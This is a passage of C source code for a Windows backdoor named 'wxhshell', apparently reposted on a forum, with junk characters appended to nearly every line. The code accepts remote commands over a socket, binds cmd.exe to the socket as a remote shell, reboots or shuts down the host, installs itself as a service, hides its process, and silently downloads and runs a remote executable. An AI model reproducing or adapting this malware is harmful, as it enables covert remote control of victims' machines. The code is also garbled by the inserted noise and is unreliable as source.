  else { ^V %rag  
Wpc|`e<  
    switch(cmd[0]) { :eZh'-c?  
  smm]6  
  // 帮助 ]!IVz)<E&  
  case '?': { B&N/$= 5m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ltFq/M  
    break; YSaJeU>@  
  } h!m_PgRSs  
  // 安装 X=C1/4wU  
  case 'i': { i>[_r,-\[  
    if(Install()) V i&*&"q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7$rjlVe  
    else 3<F  </  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?2Kt'1s#  
    break; <40rYr$/J  
    } CB&iI'  
  // 卸载 DI;DECQl$  
  case 'r': { 2y%,p{="  
    if(Uninstall()) |+$%kJR=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1jX3ey~  
    else eh[_~>w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "k Te2iS  
    break; ]x&u`$F  
    } z5bo_Eq  
  // 显示 wxhshell 所在路径 RaTH\ >n  
  case 'p': { vLxQ *50v$  
    char svExeFile[MAX_PATH]; cVwbg[W]  
    strcpy(svExeFile,"\n\r"); 0<TD/1wN  
      strcat(svExeFile,ExeFile); Iyo@r%I  
        send(wsh,svExeFile,strlen(svExeFile),0); &P,^.'  
    break; ]qB:PtX  
    } Z#.f&K )xX  
  // 重启 mm5$> [%U  
  case 'b': { vzn{h)D  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,/O[=9l36R  
    if(Boot(REBOOT)) KFZm`,+69  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?b!Fa  
    else { R<x'l=,D(  
    closesocket(wsh); zS< jd~  
    ExitThread(0); ip~$X 2  
    } *UW=Mdt  
    break; S60IPya  
    } K 0hu:1l)  
  // 关机 MV=9!{`  
  case 'd': { >h+349  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); {iG@U=>  
    if(Boot(SHUTDOWN)) 3zT_^;:L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O@iu aeEW  
    else { *MI*Rz?4  
    closesocket(wsh); oQ=>'w  
    ExitThread(0); +wW@'X  
    } U}$DhA"r"  
    break; TPE:e)GO  
    } +PK6-c\r  
  // 获取shell ,p;_\\<  
  case 's': { yFhB>i  
    CmdShell(wsh); Vpp;\  
    closesocket(wsh); ^2 ]LV6I  
    ExitThread(0); V3mAvmx  
    break; +u'I0>)S  
  } MCh#="L2  
  // 退出  Yav2q3  
  case 'x': { 7FO'{Qq  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tvd0R$5}  
    CloseIt(wsh); _8G>&K3T<  
    break; g+PPW88P;  
    } !jqWwi  
  // 离开 hO[3Z ^X  
  case 'q': { /=?ETth @  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U.T|   
    closesocket(wsh); /+e~E;3bO  
    WSACleanup(); (5^ZlOk3  
    exit(1); wY"o`o Z  
    break; 2l5KJlfj>k  
        } V,EF'-F  
  } 0J~Qq]g  
  } FEz>[#eOX  
#0;HOeIiH  
  // 提示信息 (Vg}Hh?p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A-CUv[pM  
} 8[ry |J  
  } 3 ?&h^UX  
YDmWN#  
  return; /(t sb  
} IF*&%pB  
0uCT+-  
// shell模块句柄 4e9q`~ sO  
int CmdShell(SOCKET sock) 69#8Z+dw7  
{ HEA eo!  
STARTUPINFO si; hY<{t.ws  
ZeroMemory(&si,sizeof(si)); @U -$dw'4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "8V{5e!%j'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; V,%L ~dI  
PROCESS_INFORMATION ProcessInfo; djT5 X  
char cmdline[]="cmd"; #pdUJ2)yM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6k?`:QK/sl  
  return 0; >NV=LOO  
} f c6g  
>uJ/TQU  
// 自身启动模式 p$;I'  
int StartFromService(void) bXM/2Z?6  
{ #t!}K_  
typedef struct 4 c'4*`I  
{ zGc(Ef5`M6  
  DWORD ExitStatus; OY"6J@[z  
  DWORD PebBaseAddress; ZkB3[$4C=5  
  DWORD AffinityMask; P,bd'  
  DWORD BasePriority; !NKmx=I]  
  ULONG UniqueProcessId; ;LJ3c7$@lf  
  ULONG InheritedFromUniqueProcessId; M,:Bl}  
}   PROCESS_BASIC_INFORMATION; K X]oE+:  
|dadH7  
PROCNTQSIP NtQueryInformationProcess; V:bV ?lt  
p SN~DvR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pw'wWZE'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ul Mi.;/^  
/48 =UK  
  HANDLE             hProcess; 5nCu~<uJ  
  PROCESS_BASIC_INFORMATION pbi; ! d9AG|  
,ZI\dtl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); klWYuStZ  
  if(NULL == hInst ) return 0; m(sXk}e;1  
"r.2]R3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n<V1|X  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cQpnEO&SL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Uedvc5><t  
\Mi#{0f+q  
  if (!NtQueryInformationProcess) return 0; #I`ms$j%  
e9u@`ZC07  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); p*;Qz  
  if(!hProcess) return 0; lWy=)^)4  
f1+qXMs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1(`M~vFDK  
hhR aJ  
  CloseHandle(hProcess); L~FTr  
ACBQ3   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1"K*._K  
if(hProcess==NULL) return 0; lUh*?l  
]T{E (9  
HMODULE hMod; \k&1*b?h  
char procName[255]; a5`eyL[f  
unsigned long cbNeeded; }WP-W  
V"d=.Hb>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Pl~P-n  
iH)Nk^   
  CloseHandle(hProcess); P6?0r_Y  
& QZVq"  
if(strstr(procName,"services")) return 1; // 以服务启动 m=&j@  
(N U0T w  
  return 0; // 注册表启动 4u:0n>nJ1  
} ? J|4l[x  
|PM m?2^R  
// 主模块 lg/sMF>z\f  
int StartWxhshell(LPSTR lpCmdLine) c" Y!$'|Q  
{ A'eAu  
  SOCKET wsl; shi Hy*(v  
BOOL val=TRUE; LC'F<MpM  
  int port=0; 0U&d q#  
  struct sockaddr_in door; _Dq Qfc%  
Xm[Czd]%  
  if(wscfg.ws_autoins) Install(); $N.`)S<  
E#h~V5Tf  
port=atoi(lpCmdLine); /(%Ig,<"JC  
rye)qp|  
if(port<=0) port=wscfg.ws_port; -^fzsBL.  
9A;6x$s  
  WSADATA data; QAaF@Do  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Dt {')  
T7GQ^WnA  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   7s]Wq6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); i]M"Cu*  
  door.sin_family = AF_INET; )q(:eoLDm  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4[l^0  
  door.sin_port = htons(port); U(3(ZqP  
@DCJ}h ud  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4hNwKe"Ki  
closesocket(wsl); B "n`|;r5  
return 1; $eCGez<E  
} >x?2Fz.  
\L#QR  
  if(listen(wsl,2) == INVALID_SOCKET) { "w^Nu6  
closesocket(wsl); #O6 EP#B  
return 1; xvO 3BU~2  
} BA`:miH<  
  Wxhshell(wsl); UG=I~{L  
  WSACleanup(); C*j9Iaj  
< %rh/r  
return 0; qhwoV4@f  
kC|Tubs(  
} z"av|(?d  
d q pgf@  
// 以NT服务方式启动 =jG?v'X  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /yt7#!tm+  
{ {tmKCG  
DWORD   status = 0; ,]U[W  
  DWORD   specificError = 0xfffffff; %ph"PR/t?  
r+TK5|ke  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0&B:\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; YME[%c2x  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >@:667i,`  
  serviceStatus.dwWin32ExitCode     = 0; y;,y"W  
  serviceStatus.dwServiceSpecificExitCode = 0; 4[(? L{  
  serviceStatus.dwCheckPoint       = 0; Lv3XYZgW~  
  serviceStatus.dwWaitHint       = 0; 9C?cm:  
FRS28D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); DOT=U _  
  if (hServiceStatusHandle==0) return; wVQdUtmk  
,$PFI(Whk  
status = GetLastError(); $*i7?S@~-  
  if (status!=NO_ERROR) pzAoq)gg:  
{ !(yT7#?hP  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Np)ho8zU  
    serviceStatus.dwCheckPoint       = 0; RCCv>o  
    serviceStatus.dwWaitHint       = 0; =1Ri]b  
    serviceStatus.dwWin32ExitCode     = status; ,P!D-MN$V  
    serviceStatus.dwServiceSpecificExitCode = specificError; bm^X!i5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iW;}%$lVX  
    return; dWjx"7^  
  } e|~C?Ow'J  
QK'`=MU  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "]w!`^'_  
  serviceStatus.dwCheckPoint       = 0; TIETj~+  
  serviceStatus.dwWaitHint       = 0; 0 S2v"(_T  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >kZ6f4  
} g?gqkoI  
psu OJ-  
// 处理NT服务事件,比如:启动、停止 [Ek42%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )ib7K1GJ  
{ ;raz6DRO  
switch(fdwControl) `i9N )3 X  
{ 7|K3WuLL  
case SERVICE_CONTROL_STOP: 7}A5u,.,ht  
  serviceStatus.dwWin32ExitCode = 0; =g >.X9lr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \a?K?v|8  
  serviceStatus.dwCheckPoint   = 0; [u7 vY@  
  serviceStatus.dwWaitHint     = 0; PqVW'FYe  
  { Y>G*'[U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); / =-6:L  
  } V0s,f .a  
  return; 8s~\iuk  
case SERVICE_CONTROL_PAUSE: Q%I#{+OT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; hR!}u}ECd  
  break; \hrrPPD1z  
case SERVICE_CONTROL_CONTINUE: %N>\:8 5?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8.[&wy U  
  break; K]ca4Z  
case SERVICE_CONTROL_INTERROGATE: bI#<Ee0nJ  
  break; di--:h/  
}; hEWx.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ENO? ;  
} b~jIv:9T  
L 43`^;u  
// 标准应用程序主函数 Ut]2`8-  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 'YBi5_  
{ |PI)A`  
(*MNox?w  
// 获取操作系统版本 B>sCP"/uV  
OsIsNt=GetOsVer(); Sf=F cb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O@nqHZ  
QH4k!^  
  // 从命令行安装 OI*ZVD)J  
  if(strpbrk(lpCmdLine,"iI")) Install(); DCt\E/  
1;aF5~&  
  // 下载执行文件 ;i.I&*t  
if(wscfg.ws_downexe) { ]7v81G5E  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .\Ul!&y  
  WinExec(wscfg.ws_filenam,SW_HIDE); F%9cS :  
} s fyBw  
u1tq2"D8  
if(!OsIsNt) { P@2tR5<R  
// 如果时win9x,隐藏进程并且设置为注册表启动 zIP[R):3&U  
HideProc(); P87ld._  
StartWxhshell(lpCmdLine); #fwzFS \XL  
} I ca3  
else K2*1T+?X  
  if(StartFromService()) I$+%~4  
  // 以服务方式启动 c[&d @  
  StartServiceCtrlDispatcher(DispatchTable); V_Xy2<V  
else ^eT@!N  
  // 普通方式启动 JOJh,8C) 6  
  StartWxhshell(lpCmdLine); "!xvpsy  
$U~=.!_du  
return 0; 5.O-(eSa0&  
}
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只看该作者 1 发表于: 2006-10-10
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